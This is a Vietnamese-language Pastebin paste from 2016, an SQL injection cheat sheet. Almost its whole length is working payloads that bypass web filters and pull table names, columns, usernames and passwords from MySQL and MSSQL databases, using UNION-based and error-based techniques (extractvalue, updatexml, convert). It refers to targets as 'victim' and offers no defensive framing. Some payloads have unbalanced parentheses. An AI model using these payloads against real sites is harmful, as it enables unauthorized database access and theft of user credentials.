Advertisement
TucZoro

Khai thac SQLi

Oct 17th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.87 KB | None | 0 0
  1. ------------------------------------ ***Dạng Basic "and=0":
  2. **Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
  3. Get table,column,data như bt thêm "and=0" sau id.
  4. ---------------------------------------------------------------------------
  5. ***********Dạng /*!Union*/ /*!Select*/ :
  6. **Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- - **Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!table_name*/) from information_schema./*!tables*/ where table_schema=database()-- -
  7. **Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!column_name*/) 4,5... from information_schema./*!columns*/ where /*!table_name*/=0x+mã hex table-- -
  8. **Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
  9. -----------------------------------------------------------------
  10. **********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
  11. ***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
  12. ***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
  13. ***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
  14. ***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!column_name*/))),3 from information_schema./*!columns*/ where /*!table_name*/=0x...()-- -
  15. ***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!tên cột,0x7c,tên cột,0x7c*/))),3 from table -- -
  16. ----------------------------------------------------------------
  17. ***************Dạng Bypass "=" chặn + ẩn :
  18. ***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
  19. ***Get database:id=-..../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4 from information_schema. /*!50000tables*/ where /*!50000table_schema*/+like+database()-- -
  20. ***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000column_name*/))),4 from information_schema. /*!50000columns*/ where /*!50000table_name*/+like+0x...()-- -
  21. ***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000tên cột,0x7c,tên cột,0x7c*/))),4 from table-- -
  22. -----------------------------------------------------------------------
  23. ********************Dạng Bypass 403 limit ***(Khó)
  24. +++Order lỗi :id=-1'+/*!50000union+select*/+1,2,3,4 -- -
  25. +++Get table:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1-- - ( Để biết thêm table tăng limit lên 1,1-2,1-3,1...)
  26. +++Get column:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,column_name)+from+information_schema.columns+where+table_name=0x...+limit+1,1-- -(Tăng limit)
  27. +++Get data :id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,tên cột,tên cột)+from+tên table -- -
  28. --------------------------------------------------------------------------------------------
  29. ----------------------------------Bypass 403 limit ****(cực kì khó)*****
  30. ***Tìm order lỗi :id=-1+/*!50000union+select*/+1,2,3-- -
  31. ***Get table:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,table_name)))+from+/*!information_schema*/.tables+where+table_schema=database()+limit+0,1-- -
  32. ***Get column:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,column_name)))+from+/*!information_schema*/.columns+where+table_name=0x...+limit+0,1-- -
  33. ***Get data:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,tên cột,tên cột))*/)+from+tên table-- -
  34. -------------------------------------------------------------------------
  35. ****Bypass Filter khó (1 order or nhiều order ) :
  36. ***Get table :id=-1 Union Select group_concat(table_name) FrOm infOrMation_schema.tables
  37. ***Get Column :id=-1 Union Select group_concat(column_name) FrOm infOrMation_schema.tables where table_name=0x...-- -
  38. Get Data:id=-1 Union Select group_concat(tên cột,0x7c,tên cột,0x7c) FrOm tên table-- -
  39. ------------------------------------------------------------------------
  40. Dạng id=-1 order by ....-- - không tìm được Order lỗi thì Biến đổi thành id=1' order by
  41. - rồi khai thác Bt.
  42. ~~~>K Get dk table thì id=-1' .... rồi khai thác BT.
  43. ***************Dạng Table ẩn (UnIoN SeLeCT):
  44. **Order lỗi : id=-... UNION SELECT 1,2,3,...-- -
  45. **Get Database :id=-... UNION SELECT 1,2,database(),4,...-- - (Thay database() vào order lỗi ).
  46. **Get Table :id=-... UNION SELECT 1,2,unhex(hex(group_concat(table_name))),3,4,... from information_schema.tables where table_schema=database()-- -(Thêm unhex(hex nếu table dạng ẩn )
  47. **Get column :id=-... UNION SELECT 1,2,unhex(hex(group_concat(column_name))),4,5,... from information_schema.columns where table_name=0x mã hex table-- -
  48. **Get data :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tên cột,0x7c,tên cột,0x7c,tên cột))),4,5,6,7,8,9,10,11,12,13 from tên table-- -
  49. -----------------------------------------
  50. ****************XPath Injection(erro base) :
  51. 1.and extractvalue(rand(),concat(0x7c,version(),0x7c,database(),0x7c,user()))-- -
  52. 2.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)))-- -
  53. 3.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns where table_name=0x"table" limit 0,1)))-- -
  54. 4.and extractvalue(rand(),concat(0x7c,(select concat("column",0x7c,"column") from "table" limit 0,1)))-- -
  55. -------------------------------------------
  56. ***Dạng Bypass Xpath( Khó )
  57. 1.' and extractvalue(rand(),concat/*!(0x7c,version(),0x7c,database(),0x7c,user())*/)-- - 2.' and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,table_name) from /*!information_schema*/.tables where table_schema=database() limit 0,1)))-- -
  58. 3.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,column_name) from /*!information_schema*/.columns where table_name=0x"table" limit 0,1)))-- -
  59. 4.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!("column",0x7c,"column") from "table" limit 0,1))*/)-- -
  60. -----------------------------------------
  61. *****************XPath Injection(erro base Cao Cấp )
  62. 1.or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -
  63. 2.and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -
  64. 3.and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x... limit 0,1)),0)-- -
  65. 4.and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from tên table limit 0,1)),0)-- -
  66. ---------------------------------------------
  67. ++Khai thác SQL = Erro Base
  68. http://demo-tainguyen.blogspot.com/…/khai-thac-error-based-…
  69. ++Khai thác SQL Blind :
  70. http://ceh.vn/@4rum/showthread.php?tid=1203
  71. ++ sqli form search(tùy site)
  72. 'and p.published =-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -
  73. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database()-- -
  74. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=0x62635f7573657273-- -
  75. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(username,0x2f,password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from bc_users-- -
  76. Nguồn : copy
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86. + SQL Basic
  87. + SQL ASPX
  88. -------------------------------------------------------------
  89. * Khai thác lỗi SQL cơ bản
  90. + Bước 1: order by 100-- -
  91. + Bước 2: union select 1,2,3,4,5,6,7,8,9,10-- -
  92. + Bước 3: union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables-- -
  93. Rules: có thể sử dụng câu lệnh Unhex(hex
  94. =>>Bước 3: union select 1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8 ,9 from information_schema.tables-- -
  95. + Bước 4: union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database()--
  96. + Bước 5: union select 1,2,3,group_concat(column_name),5,6,7,,8,9 from information_schema.columns where table_schema=database() and table_name=0x... -- -
  97. chú ý: ở chỗ "..." là table mà được mã hóa sang mã hex
  98. =>> được username và password
  99. + Bước 6: union select 1,2,3,group_concat(username,0x20,password,0x20),5, 6,7,8,9 from table_name
  100. --------------------- The End Check Site SQL Basic --------------------
  101. * Khai thác lỗi SQL ASPX
  102. + Bước 1: and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
  103. + Bước 2: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_DangNhap')-- -
  104. < not in (.....)-- -> viết lệnh tiếp để ra các table, có nghĩa là khi bạn có được "tbl" nào đó thì mình bỏ tiếp cái "tbl" đó vào để check cho nó xuất hiện "tbl" tiếp theo
  105. + Bước 3: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') ))-- -
  106. =>> được thông số 'ID' tiếp
  107. and 1=convert(int,(select top 1 column name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in('ID') ))-- -
  108. được thông số 'username' tiếp
  109. and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID'),'username') ))-- -
  110. được thông số password
  111. + Bước 4: Khai thác thông tin username và password:
  112. username:
  113. and 1=convert(int,(select top 1 username from tbl_DangNhap))-- -
  114. passord:
  115. and 1=convert(int,select top 1 password from tbl_DangNhap))-- -
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement